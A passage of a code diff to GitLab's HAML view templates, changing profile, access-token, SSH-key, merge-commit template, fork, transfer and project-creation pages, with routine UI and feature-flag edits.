= s_('Profiles|%{provider} Active') % { provider: label_for_provider(provider) }
- elsif link_allowed
= link_to omniauth_authorize_path(:user, provider), method: :post, class: button_class do
- .social-provider-btn-image.gl-button-icon= provider_image_tag(provider)
+ - if has_icon
+ .social-provider-btn-image.gl-button-icon= provider_image_tag(provider)
.gl-button-text
= s_('Profiles|Connect %{provider}') % { provider: label_for_provider(provider) }
= render_if_exists 'profiles/accounts/group_saml_unlink_buttons', group_saml_identities: group_saml_identities
diff --git a/app/views/profiles/keys/_form.html.haml b/app/views/profiles/keys/_form.html.haml
index 74b48115d0e..2b3109225a8 100644
--- a/app/views/profiles/keys/_form.html.haml
+++ b/app/views/profiles/keys/_form.html.haml
@@ -1,3 +1,4 @@
+- max_date = ::Gitlab::CurrentSettings.max_ssh_key_lifetime_from_now.to_date if ssh_key_expiration_policy_enabled?
%div
= form_for [:profile, @key], html: { class: 'js-requires-input' } do |f|
= form_errors(@key)
@@ -13,8 +14,8 @@
%p.form-text.text-muted= s_('Profiles|Give your individual key a title. This will be publicly visible.')
.col.form-group
- = f.label :expires_at, s_('Profiles|Expires at'), class: 'label-bold'
- = f.date_field :expires_at, class: "form-control input-lg", min: Date.tomorrow, data: { qa_selector: 'key_expiry_date_field' }
+ = f.label :expires_at, s_('Profiles|Expiration date'), class: 'label-bold'
+ = f.date_field :expires_at, class: "form-control input-lg", min: Date.tomorrow, max: max_date, data: { qa_selector: 'key_expiry_date_field' }
%p.form-text.text-muted{ data: { qa_selector: 'key_expiry_date_field_description' } }= ssh_key_expires_field_description
.js-add-ssh-key-validation-warning.hide
diff --git a/app/views/profiles/notifications/_group_settings.html.haml b/app/views/profiles/notifications/_group_settings.html.haml
index 82083af9ff1..23fce8e04b6 100644
--- a/app/views/profiles/notifications/_group_settings.html.haml
+++ b/app/views/profiles/notifications/_group_settings.html.haml
@@ -13,5 +13,5 @@
.js-vue-notification-dropdown{ data: { disabled: emails_disabled.to_s, dropdown_items: notification_dropdown_items(setting).to_json, notification_level: setting.level, group_id: group.id, container_class: 'gl-mr-3', show_label: "true" } }
.table-section.section-30
- = form_for setting, url: profile_notifications_group_path(group), method: :put, html: { class: 'update-notifications gl-display-flex' } do |f|
+ = form_for setting, url: profile_group_notifications_path(group), method: :put, html: { class: 'update-notifications gl-display-flex' } do |f|
= f.select :notification_email, @user.public_verified_emails, { include_blank: 'Global notification email' }, class: 'select2 js-group-notification-email'
diff --git a/app/views/profiles/personal_access_tokens/index.html.haml b/app/views/profiles/personal_access_tokens/index.html.haml
index 7c1f28345fd..a8275576327 100644
--- a/app/views/profiles/personal_access_tokens/index.html.haml
+++ b/app/views/profiles/personal_access_tokens/index.html.haml
@@ -32,62 +32,64 @@
type_plural: type_plural,
active_tokens: @active_personal_access_tokens,
revoke_route_helper: ->(token) { revoke_profile_personal_access_token_path(token) }
+- if Feature.enabled?(:hide_access_tokens, default_enabled: :yaml)
+ #js-tokens-app{ data: { tokens_data: tokens_app_data } }
+- else
+ - unless Gitlab::CurrentSettings.disable_feed_token
+ .col-lg-12
+ %hr
+ .row.gl-mt-3.js-search-settings-section
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0
+ = s_('AccessTokens|Feed token')
+ %p
+ = s_('AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs.')
+ %p
+ = s_('AccessTokens|It cannot be used to access any other data.')
+ .col-lg-8.feed-token-reset
+ = label_tag :feed_token, s_('AccessTokens|Feed token'), class: 'label-bold'
+ = text_field_tag :feed_token, current_user.feed_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
+ %p.form-text.text-muted
+ - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.'), testid: :reset_feed_token_link }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
+ = reset_message.html_safe
-- unless Gitlab::CurrentSettings.disable_feed_token
- .col-lg-12
- %hr
- .row.gl-mt-3.js-search-settings-section
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0
- = s_('AccessTokens|Feed token')
- %p
- = s_('AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs.')
- %p
- = s_('AccessTokens|It cannot be used to access any other data.')
- .col-lg-8.feed-token-reset
- = label_tag :feed_token, s_('AccessTokens|Feed token'), class: 'label-bold'
- = text_field_tag :feed_token, current_user.feed_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
- %p.form-text.text-muted
- - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.'), testid: :reset_feed_token_link }
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
- = reset_message.html_safe
+ - if incoming_email_token_enabled?
+ .col-lg-12
+ %hr
+ .row.gl-mt-3.js-search-settings-section
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0
+ = s_('AccessTokens|Incoming email token')
+ %p
+ = s_('AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses.')
+ %p
+ = s_('AccessTokens|It cannot be used to access any other data.')
+ .col-lg-8.incoming-email-token-reset
+ = label_tag :incoming_email_token, s_('AccessTokens|Incoming email token'), class: 'label-bold'
+ = text_field_tag :incoming_email_token, current_user.incoming_email_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
+ %p.form-text.text-muted
+ - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :incoming_email_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any issue email addresses currently in use will stop working.'), testid: :reset_email_token_link }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
+ = reset_message.html_safe
-- if incoming_email_token_enabled?
- .col-lg-12
- %hr
- .row.gl-mt-3.js-search-settings-section
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0
- = s_('AccessTokens|Incoming email token')
- %p
- = s_('AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses.')
- %p
- = s_('AccessTokens|It cannot be used to access any other data.')
- .col-lg-8.incoming-email-token-reset
- = label_tag :incoming_email_token, s_('AccessTokens|Incoming email token'), class: 'label-bold'
- = text_field_tag :incoming_email_token, current_user.incoming_email_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
- %p.form-text.text-muted
- - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :incoming_email_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any issue email addresses currently in use will stop working.'), testid: :reset_email_token_link }
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
- = reset_message.html_safe
-
-- if static_objects_external_storage_enabled?
- .col-lg-12
- %hr
- .row.gl-mt-3.js-search-settings-section
- .col-lg-4
- %h4.gl-mt-0
- = s_('AccessTokens|Static object token')
- %p
- = s_('AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage.')
- %p
- = s_('AccessTokens|It cannot be used to access any other data.')
- .col-lg-8
- = label_tag :static_object_token, s_('AccessTokens|Static object token'), class: "label-bold"
- = text_field_tag :static_object_token, current_user.static_object_token, class: 'form-control gl-form-input', readonly: true, onclick: 'this.select()'
- %p.form-text.text-muted
- - reset_link = url_for [:reset, :static_object_token, :profile]
- - reset_link_start = '<a data-confirm="%{confirm}" rel="nofollow" data-method="put" href="%{url}">'.html_safe % { confirm: s_('AccessTokens|Are you sure?'), url: reset_link }
- - reset_link_end = '</a>'.html_safe
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}.') % { reset_link_start: reset_link_start, reset_link_end: reset_link_end }
- = reset_message.html_safe
+ - if static_objects_external_storage_enabled?
+ .col-lg-12
+ %hr
+ .row.gl-mt-3.js-search-settings-section
+ .col-lg-4
+ %h4.gl-mt-0
+ = s_('AccessTokens|Static object token')
+ %p
+ = s_('AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage.')
+ %p
+ = s_('AccessTokens|It cannot be used to access any other data.')
+ .col-lg-8
+ = label_tag :static_object_token, s_('AccessTokens|Static object token'), class: "label-bold"
+ = text_field_tag :static_object_token, current_user.static_object_token, class: 'form-control gl-form-input', readonly: true, onclick: 'this.select()'
+ %p.form-text.text-muted
+ - reset_link = url_for [:reset, :static_object_token, :profile]
+ - reset_link_start = '<a data-confirm="%{confirm}" rel="nofollow" data-method="put" href="%{url}">'.html_safe % { confirm: s_('AccessTokens|Are you sure?'), url: reset_link }
+ - reset_link_end = '</a>'.html_safe
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}.') % { reset_link_start: reset_link_start, reset_link_end: reset_link_end }
+ = reset_message.html_safe
diff --git a/app/views/profiles/show.html.haml b/app/views/profiles/show.html.haml
index b1470520eea..f3993ad8c33 100644
--- a/app/views/profiles/show.html.haml
+++ b/app/views/profiles/show.html.haml
@@ -116,7 +116,7 @@
%h5= _('Private profile')
.checkbox-icon-inline-wrapper
- private_profile_label = capture do
- = s_("Profiles|Don't display activity-related personal information on your profiles")
+ = s_("Profiles|Don't display activity-related personal information on your profile")
= f.check_box :private_profile, label: private_profile_label, inline: true, wrapper_class: 'mr-0'
= link_to sprite_icon('question-o'), help_page_path('user/profile/index.md', anchor: 'make-your-user-profile-page-private')
%h5= s_("Profiles|Private contributions")
diff --git a/app/views/profiles/two_factor_auths/show.html.haml b/app/views/profiles/two_factor_auths/show.html.haml
index 0eae3c95bf6..aae6212f964 100644
--- a/app/views/profiles/two_factor_auths/show.html.haml
+++ b/app/views/profiles/two_factor_auths/show.html.haml
@@ -2,7 +2,7 @@
- page_title _('Two-Factor Authentication'), _('Account')
- add_to_breadcrumbs _('Account'), profile_account_path
- @content_class = "limit-container-width" unless fluid_layout
-- webauthn_enabled = Feature.enabled?(:webauthn)
+- webauthn_enabled = Feature.enabled?(:webauthn, default_enabled: :yaml)
.js-two-factor-auth{ 'data-two-factor-skippable' => "#{two_factor_skippable?}", 'data-two_factor_skip_url' => skip_profile_two_factor_auth_path }
.row.gl-mt-3
diff --git a/app/views/projects/_files.html.haml b/app/views/projects/_files.html.haml
index cdcc98552f9..2f4a61865f8 100644
--- a/app/views/projects/_files.html.haml
+++ b/app/views/projects/_files.html.haml
@@ -10,10 +10,11 @@
.nav-block.gl-display-flex.gl-xs-flex-direction-column.gl-align-items-stretch
= render 'projects/tree/tree_header', tree: @tree
- #js-last-commit
- .info-well.gl-display-none.gl-sm-display-flex.project-last-commit
+ .info-well.gl-display-none.gl-sm-display-flex.project-last-commit.gl-flex-direction-column
+ #js-last-commit.gl-m-auto
.gl-spinner-container.m-auto
= loading_icon(size: 'md', color: 'dark', css_class: 'align-text-bottom')
+ #js-code-owners
- if is_project_overview
.project-buttons.gl-mb-3.js-show-on-project-root
diff --git a/app/views/projects/_invite_members_side_nav_link.html.haml b/app/views/projects/_invite_members_side_nav_link.html.haml
index ea6174d19f0..fae681b1a71 100644
--- a/app/views/projects/_invite_members_side_nav_link.html.haml
+++ b/app/views/projects/_invite_members_side_nav_link.html.haml
@@ -1,5 +1,4 @@
.js-invite-members-trigger{ data: { trigger_source: 'project-side-nav',
- classes: 'gl-text-decoration-none! gl-shadow-none! gl-text-body!',
icon: 'users',
display_text: title,
trigger_element: 'side-nav'} }
diff --git a/app/views/projects/_merge_request_merge_commit_template.html.haml b/app/views/projects/_merge_request_merge_commit_template.html.haml
index 185b730e0bb..869d2d5d9ec 100644
--- a/app/views/projects/_merge_request_merge_commit_template.html.haml
+++ b/app/views/projects/_merge_request_merge_commit_template.html.haml
@@ -3,7 +3,7 @@
.form-group
%b= s_('ProjectSettings|Merge commit message template')
%p.text-secondary
- - configure_the_merge_commit_message_help_link_url = help_page_path('user/project/merge_requests/commit_templates.md', anchor: 'merge-commit-message-template')
+ - configure_the_merge_commit_message_help_link_url = help_page_path('user/project/merge_requests/commit_templates.md')
- configure_the_merge_commit_message_help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: configure_the_merge_commit_message_help_link_url }
= s_('ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}').html_safe % { link_start: configure_the_merge_commit_message_help_link_start, link_end: '</a>'.html_safe }
.mb-2
@@ -12,6 +12,6 @@
%p.form-text.text-muted
= s_('ProjectSettings|Maximum 500 characters.')
= s_('ProjectSettings|Supported variables:')
- - Gitlab::MergeRequests::MergeCommitMessage::PLACEHOLDERS.keys.each do |placeholder|
+ - Gitlab::MergeRequests::CommitMessageGenerator::PLACEHOLDERS.keys.each do |placeholder|
%code
= "%{#{placeholder}}".html_safe
diff --git a/app/views/projects/_merge_request_settings.html.haml b/app/views/projects/_merge_request_settings.html.haml
index c5a25bec6eb..728ff597860 100644
--- a/app/views/projects/_merge_request_settings.html.haml
+++ b/app/views/projects/_merge_request_settings.html.haml
@@ -12,5 +12,7 @@
= render 'projects/merge_request_merge_commit_template', project: @project, form: form
+= render 'projects/merge_request_squash_commit_template', project: @project, form: form
+
- if @project.forked?
= render 'projects/merge_request_target_project_settings', project: @project, form: form
diff --git a/app/views/projects/_merge_request_squash_commit_template.html.haml b/app/views/projects/_merge_request_squash_commit_template.html.haml
new file mode 100644
index 00000000000..81e4bbed166
--- /dev/null
+++ b/app/views/projects/_merge_request_squash_commit_template.html.haml
@@ -0,0 +1,16 @@
+- form = local_assigns.fetch(:form)
+
+.form-group
+ %b= s_('ProjectSettings|Squash commit message template')
+ %p.text-secondary
+ - configure_the_squash_commit_message_help_link_url = help_page_path('user/project/merge_requests/commit_templates.md')
+ - configure_the_squash_commit_message_help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: configure_the_squash_commit_message_help_link_url }
+ = s_('ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}').html_safe % { link_start: configure_the_squash_commit_message_help_link_start, link_end: '</a>'.html_safe }
+ .mb-2
+ = form.text_area :squash_commit_template, class: 'form-control gl-form-input', rows: 8, maxlength: 500, placeholder: '%{title}'
+ %p.form-text.text-muted
+ = s_('ProjectSettings|Maximum 500 characters.')
+ = s_('ProjectSettings|Supported variables:')
+ - Gitlab::MergeRequests::CommitMessageGenerator::PLACEHOLDERS.keys.each do |placeholder|
+ %code
+ = "%{#{placeholder}}".html_safe
diff --git a/app/views/projects/_new_project_fields.html.haml b/app/views/projects/_new_project_fields.html.haml
index c21240b340c..6fc78003df4 100644
--- a/app/views/projects/_new_project_fields.html.haml
+++ b/app/views/projects/_new_project_fields.html.haml
@@ -49,7 +49,7 @@
.gl-alert.gl-alert-success.gl-mb-4.gl-display-none.js-user-readme-repo
= sprite_icon('check-circle', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
.gl-alert-body
- - help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/profile/index', anchor: 'user-profile-readme') }
+ - help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/profile/index', anchor: 'add-details-to-your-profile-with-a-readme') }
= html_escape(_('%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}')) % { project_path: "<strong>#{current_user.username} / #{current_user.username}</strong>".html_safe, help_link_start: help_link_start, help_link_end: '</a>'.html_safe }
.form-group
@@ -74,7 +74,7 @@
= s_('ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository.')
- experiment(:new_project_sast_enabled, user: current_user) do |e|
- - e.try do
+ - e.try(:candidate) do
.form-group
.form-check.gl-mb-3
= check_box_tag 'project[initialize_with_sast]', '1', true, class: 'form-check-input', data: { qa_selector: 'initialize_with_sast_checkbox', track_experiment: e.name, track_label: track_label, track_action: 'activate_form_input', track_property: 'init_with_sast' }
@@ -83,6 +83,15 @@
.form-text.text-muted
= s_('ProjectsNew|Analyze your source code for known security vulnerabilities.')
= link_to _('Learn more.'), help_page_path('user/application_security/sast/index'), target: '_blank', rel: 'noopener noreferrer', data: { track_action: 'followed', track_experiment: e.name }
+ - e.try(:unchecked_candidate) do
+ .form-group
+ .form-check.gl-mb-3
+ = check_box_tag 'project[initialize_with_sast]', '1', false, class: 'form-check-input', data: { qa_selector: 'initialize_with_sast_checkbox', track_experiment: e.name, track_label: track_label, track_action: 'activate_form_input', track_property: 'init_with_sast' }
+ = label_tag 'project[initialize_with_sast]', class: 'form-check-label' do
+ = s_('ProjectsNew|Enable Static Application Security Testing (SAST)')
+ .form-text.text-muted
+ = s_('ProjectsNew|Analyze your source code for known security vulnerabilities.')
+ = link_to _('Learn more.'), help_page_path('user/application_security/sast/index'), target: '_blank', rel: 'noopener noreferrer', data: { track_action: 'followed', track_experiment: e.name }
- e.try(:free_indicator) do
.form-group
.form-check.gl-mb-3
@@ -93,6 +102,16 @@
.form-text.text-muted
= s_('ProjectsNew|Analyze your source code for known security vulnerabilities.')
= link_to _('Learn more.'), help_page_path('user/application_security/sast/index'), target: '_blank', rel: 'noopener noreferrer', data: { track_action: 'followed', track_experiment: e.name }
+ - e.try(:unchecked_free_indicator) do
+ .form-group
+ .form-check.gl-mb-3
+ = check_box_tag 'project[initialize_with_sast]', '1', false, class: 'form-check-input', data: { qa_selector: 'initialize_with_sast_checkbox', track_experiment: e.name, track_label: track_label, track_action: 'activate_form_input', track_property: 'init_with_sast' }
+ = label_tag 'project[initialize_with_sast]', class: 'form-check-label' do
+ = s_('ProjectsNew|Enable Static Application Security Testing (SAST)')
+ %span.badge.badge-info.badge-pill.gl-badge.sm= _('Free')
+ .form-text.text-muted
+ = s_('ProjectsNew|Analyze your source code for known security vulnerabilities.')
+ = link_to _('Learn more.'), help_page_path('user/application_security/sast/index'), target: '_blank', rel: 'noopener noreferrer', data: { track_action: 'followed', track_experiment: e.name }
= f.submit _('Create project'), class: "btn gl-button btn-confirm", data: { track_label: "#{track_label}", track_action: "click_button", track_property: "create_project", track_value: "" }
= link_to _('Cancel'), dashboard_projects_path, class: 'btn gl-button btn-default btn-cancel', data: { track_label: "#{track_label}", track_action: "click_button", track_property: "cancel", track_value: "" }
diff --git a/app/views/projects/_project_templates.html.haml b/app/views/projects/_project_templates.html.haml
index 949397755ba..68489fba06c 100644
--- a/app/views/projects/_project_templates.html.haml
+++ b/app/views/projects/_project_templates.html.haml
@@ -5,7 +5,7 @@
%li.built-in-tab
%a.nav-link.active{ href: "#built-in", data: { toggle: 'tab'} }
= _('Built-in')
- %span.badge.badge-pill= Gitlab::ProjectTemplate.all.count + Gitlab::SampleDataTemplate.all.count
+ = gl_tab_counter_badge Gitlab::ProjectTemplate.all.count + Gitlab::SampleDataTemplate.all.count
.tab-content
.project-templates-buttons.import-buttons.tab-pane.active#built-in
diff --git a/app/views/projects/_remove_fork.html.haml b/app/views/projects/_remove_fork.html.haml
index 92eb29dc407..bb51aa86170 100644
--- a/app/views/projects/_remove_fork.html.haml
+++ b/app/views/projects/_remove_fork.html.haml
@@ -1,11 +1,12 @@
- return unless @project.forked? && can?(current_user, :remove_fork_project, @project)
+- remove_form_id = "js-remove-project-fork-form"
.sub-section
%h4.danger-title= _('Remove fork relationship')
%p= remove_fork_project_description_message(@project)
- = form_for @project, url: remove_fork_project_path(@project), method: :delete, remote: true, html: { class: 'transfer-project' } do |f|
+ = form_for @project, url: remove_fork_project_path(@project), method: :delete, html: { id: remove_form_id } do |f|
%p
%strong= _('Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks.')
= link_to _('Learn more.'), help_page_path('user/project/settings/index', anchor: 'removing-a-fork-relationship'), target: '_blank', rel: 'noopener noreferrer'
- = button_to _('Remove fork relationship'), '#', class: "gl-button btn btn-danger js-legacy-confirm-danger", data: { "confirm-danger-message" => remove_fork_project_warning_message(@project) }
+ .js-confirm-danger{ data: remove_fork_project_confirm_json(@project, remove_form_id) }
diff --git a/app/views/projects/_transfer.html.haml b/app/views/projects/_transfer.html.haml
index e48008e1cc6..9f9daa7ec6f 100644
--- a/app/views/projects/_transfer.html.haml
+++ b/app/views/projects/_transfer.html.haml
@@ -1,8 +1,11 @@
- return unless can?(current_user, :change_namespace, @project)
+- form_id = "transfer-project-form"
+- hidden_input_id = "new_namespace_id"
+- initial_data = { namespaces: namespaces_as_json, button_text: s_('ProjectSettings|Transfer project'), confirm_danger_message: transfer_project_message(@project), phrase: @project.name, target_form_id: form_id, target_hidden_input_id: hidden_input_id }
.sub-section
%h4.danger-title= _('Transfer project')
- = form_for @project, url: transfer_project_path(@project), method: :put, remote: true, html: { class: 'js-project-transfer-form' } do |f|
+ = form_for @project, url: transfer_project_path(@project), method: :put, html: { class: 'js-project-transfer-form', id: form_id } do |f|
.form-group
- link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/project/settings/index', anchor: 'transferring-an-existing-project-into-another-namespace') }
%p= _("Transfer your project into another namespace. %{link_start}Learn more.%{link_end}").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
@@ -11,7 +14,6 @@
%li= _('You can only transfer the project to namespaces you manage.')
%li= _('You will need to update your local repositories to point to the new location.')
%li= _('Project visibility level will be changed to match namespace rules when transferring to a group.')
+ = hidden_field_tag(hidden_input_id)
= label_tag :new_namespace_id, _('Select a new namespace'), class: 'gl-font-weight-bold'
- .form-group
- = select_tag :new_namespace_id, namespaces_options(nil), include_blank: true, class: 'select2'
- = f.submit 'Transfer project', class: "gl-button btn btn-danger js-legacy-confirm-danger qa-transfer-button", data: { "confirm-danger-message" => transfer_project_message(@project) }
+ .js-transfer-project-form{ data: initial_data }
diff --git a/app/views/projects/blame/show.html.haml b/app/views/projects/blame/show.html.haml
index 704576619a7..ae8f89bf16a 100644
--- a/app/views/projects/blame/show.html.haml
+++ b/app/views/projects/blame/show.html.haml
@@ -27,7 +27,7 @@
- commit_data = @blame.commit_data(blame_group[:commit])
- line_count = blame_group[:lines].count
- %tr
+ %tr{ style: intrinsic_row_css(line_count) }
%td.blame-commit{ class: commit_data.age_map_class }
.commit
= commit_data.author_avatar
diff --git a/app/views/projects/blob/_content.html.haml b/app/views/projects/blob/_content.html.haml
index 7afbd85cd6d..0031be36098 100644
--- a/app/views/projects/blob/_content.html.haml
+++ b/app/views/projects/blob/_content.html.haml
@@ -1,3 +1,4 @@
+- blob = local_assigns.fetch(:blob, nil)
- simple_viewer = blob.simple_viewer
- rich_viewer = blob.rich_viewer
- rich_viewer_active = rich_viewer && params[:viewer] != 'simple'
diff --git a/app/views/projects/blob/_header.html.haml b/app/views/projects/blob/_header.html.haml
index dad4ea205b4..74df53a8d15 100644
--- a/app/views/projects/blob/_header.html.haml
+++ b/app/views/projects/blob/_header.html.haml
@@ -1,4 +1,5 @@
- blame = local_assigns.fetch(:blame, false)
+- blob = local_assigns.fetch(:blob, nil)
.js-file-title.file-title-flex-parent
= render 'projects/blob/header_content', blob: blob
diff --git a/app/views/projects/blob/show.html.haml b/app/views/projects/blob/show.html.haml
index 168b240c657..d4e7ee90a84 100644
--- a/app/views/projects/blob/show.html.haml
+++ b/app/views/projects/blob/show.html.haml
@@ -14,8 +14,8 @@
- if can_modify_blob?(@blob)
= render 'projects/blob/remove'
- - title = "Replace #{@blob.name}"
- = render 'projects/blob/upload', title: title, placeholder: title, button_title: 'Replace file', form_path: project_update_blob_path(@project, @id), method: :put
+ - title = _("Replace %{blob_name}") % { blob_name: @blob.name }
+ = render 'projects/blob/upload', title: title, placeholder: title, button_title: _('Replace file'), form_path: project_update_blob_path(@project, @id), method: :put
= render partial: 'pipeline_tour_success' if show_suggest_pipeline_creation_celebration?
= render 'shared/web_ide_path'
diff --git a/app/views/projects/branches/index.html.haml b/app/views/projects/branches/index.html.haml
index 6733db69c34..1c543d47ecf 100644
--- a/app/views/projects/branches/index.html.haml
+++ b/app/views/projects/branches/index.html.haml
@@ -42,7 +42,7 @@
%ul.content-list.all-branches
- @branches.each do |branch|
= render "projects/branches/branch", branch: branch, merged: @merged_branch_names.include?(branch.name), commit_status: @branch_pipeline_statuses[branch.name], show_commit_status: @branch_pipeline_statuses.any?
- - if Feature.enabled?(:branches_pagination_without_count, @project, default_enabled: :yaml)
+ - if Feature.enabled?(:branch_list_keyset_pagination, @project, default_enabled: :yaml)
= render('kaminari/gitlab/without_count', previous_path: @prev_path, next_path: @next_path)
- else
= paginate @branches, theme: 'gitlab'
diff --git a/app/views/projects/buttons/_dropdown.html.haml b/app/views/projects/buttons/_dropdown.html.haml
deleted file mode 100644
index 12ce4667e1a..00000000000
--- a/app/views/projects/buttons/_dropdown.html.haml
+++ /dev/null
@@ -1,42 +0,0 @@
-- can_create_issue = show_new_issue_link?(@project)
-- can_create_project_snippet = can?(current_user, :create_snippet, @project)
-- can_push_code = can?(current_user, :push_code, @project)
-- create_mr_from_new_fork = can?(current_user, :fork_project, @project) && can?(current_user, :create_merge_request_in, @project)
-- merge_project = merge_request_source_project_for_project(@project)
-
-- show_menu = can_create_issue || can_create_project_snippet || can_push_code || create_mr_from_new_fork || merge_project
-
-- if show_menu
- .project-action-button.dropdown.inline<
- %a.btn.btn-default.gl-button.dropdown-toggle.has-tooltip.qa-create-new-dropdown{ href: '#', title: _('Create new...'), 'data-toggle' => 'dropdown', 'data-container' => 'body', 'aria-label' => _('Create new...'), 'data-display' => 'static' }
- = sprite_icon('plus', css_class: 'gl-icon')
- = sprite_icon("chevron-down", css_class: 'gl-icon')
- %ul.dropdown-menu.dropdown-menu-right.project-home-dropdown
- - if can_create_issue || merge_project || can_create_project_snippet
- %li.dropdown-header= _('This project')
-
- - if can_create_issue
- %li= link_to _('New issue'), new_project_issue_path(@project)
-
- - if merge_project
- %li= link_to _('New merge request'), project_new_merge_request_path(merge_project)
-
- - if can_create_project_snippet
- %li= link_to _('New snippet'), new_project_snippet_path(@project)
-
- - if can_push_code
- %li.dropdown-header= _('This repository')
-
- - if can_push_code
- %li.qa-new-file-option= link_to _('New file'), project_new_blob_path(@project, @project.default_branch_or_main)
- - unless @project.empty_repo?
- %li= link_to _('New branch'), new_project_branch_path(@project)
- %li= link_to _('New tag'), new_project_tag_path(@project)
- - elsif can_collaborate_with_project?(@project)
- %li= link_to _('New file'), project_new_blob_path(@project, @project.default_branch_or_main)
- - elsif create_mr_from_new_fork
- - continue_params = { to: project_new_blob_path(@project, @project.default_branch_or_main),
- notice: edit_in_new_fork_notice,
- notice_now: edit_in_new_fork_notice_now }
- - fork_path = project_forks_path(@project, namespace_key: current_user.namespace.id, continue: continue_params)
- %li= link_to _('New file'), fork_path, method: :post
diff --git a/app/views/projects/buttons/_fork.html.haml b/app/views/projects/buttons/_fork.html.haml
index e4ec2e44298..3cec7fd9eb8 100644
--- a/app/views/projects/buttons/_fork.html.haml
+++ b/app/views/projects/buttons/_fork.html.haml
@@ -1,16 +1,18 @@
- unless @project.empty_repo?
- - if current_user && can?(current_user, :fork_project, @project)
+ - if current_user
.count-badge.btn-group
- if current_user.already_forked?(@project) && current_user.manageable_namespaces.size < 2
= link_to namespace_project_path(current_user, current_user.fork_of(@project)), title: s_('ProjectOverview|Go to your fork'), class: 'gl-button btn btn-default btn-sm has-tooltip fork-btn' do
= sprite_icon('fork', css_class: 'icon')
%span= s_('ProjectOverview|Fork')
- else
- - can_create_fork = current_user.can?(:create_fork)
- - disabled_fork_tooltip = s_('ProjectOverview|You have reached your project limit')
- %span.btn-group.has-tooltip{ title: (disabled_fork_tooltip unless can_create_fork) }
- = link_to new_project_fork_path(@project), class: "gl-button btn btn-default btn-sm fork-btn #{' disabled' unless can_create_fork }", 'aria-label' => (disabled_fork_tooltip unless can_create_fork) do
+ - disabled_tooltip = fork_button_disabled_tooltip(@project)
+ - count_class = 'disabled' unless can?(current_user, :download_code, @project)
+ - button_class = 'disabled' if disabled_tooltip
+
+ %span.btn-group{ class: ('has-tooltip' if disabled_tooltip), title: disabled_tooltip }
+ = link_to new_project_fork_path(@project), class: "gl-button btn btn-default btn-sm fork-btn #{button_class}" do
= sprite_icon('fork', css_class: 'icon')
%span= s_('ProjectOverview|Fork')
- = link_to project_forks_path(@project), title: n_(s_('ProjectOverview|Forks'), s_('ProjectOverview|Forks'), @project.forks_count), class: 'gl-button btn btn-default btn-sm count has-tooltip' do
+ = link_to project_forks_path(@project), title: n_(s_('ProjectOverview|Forks'), s_('ProjectOverview|Forks'), @project.forks_count), class: "gl-button btn btn-default btn-sm count has-tooltip #{count_class}" do
= @project.forks_count
diff --git a/app/views/projects/ci/builds/_build.html.haml b/app/views/projects/ci/builds/_build.html.haml
index 437529c3608..c33b9b538f3 100644
--- a/app/views/projects/ci/builds/_build.html.haml
+++ b/app/views/projects/ci/builds/_build.html.haml
@@ -50,16 +50,15 @@
.label-container
- if job.tags.any?
- job.tags.each do |tag|
- %span.badge.badge-pill.gl-badge.sm.badge-primary
- = tag
+ = gl_badge_tag tag, variant: :info, size: :sm
- if job.try(:trigger_request)
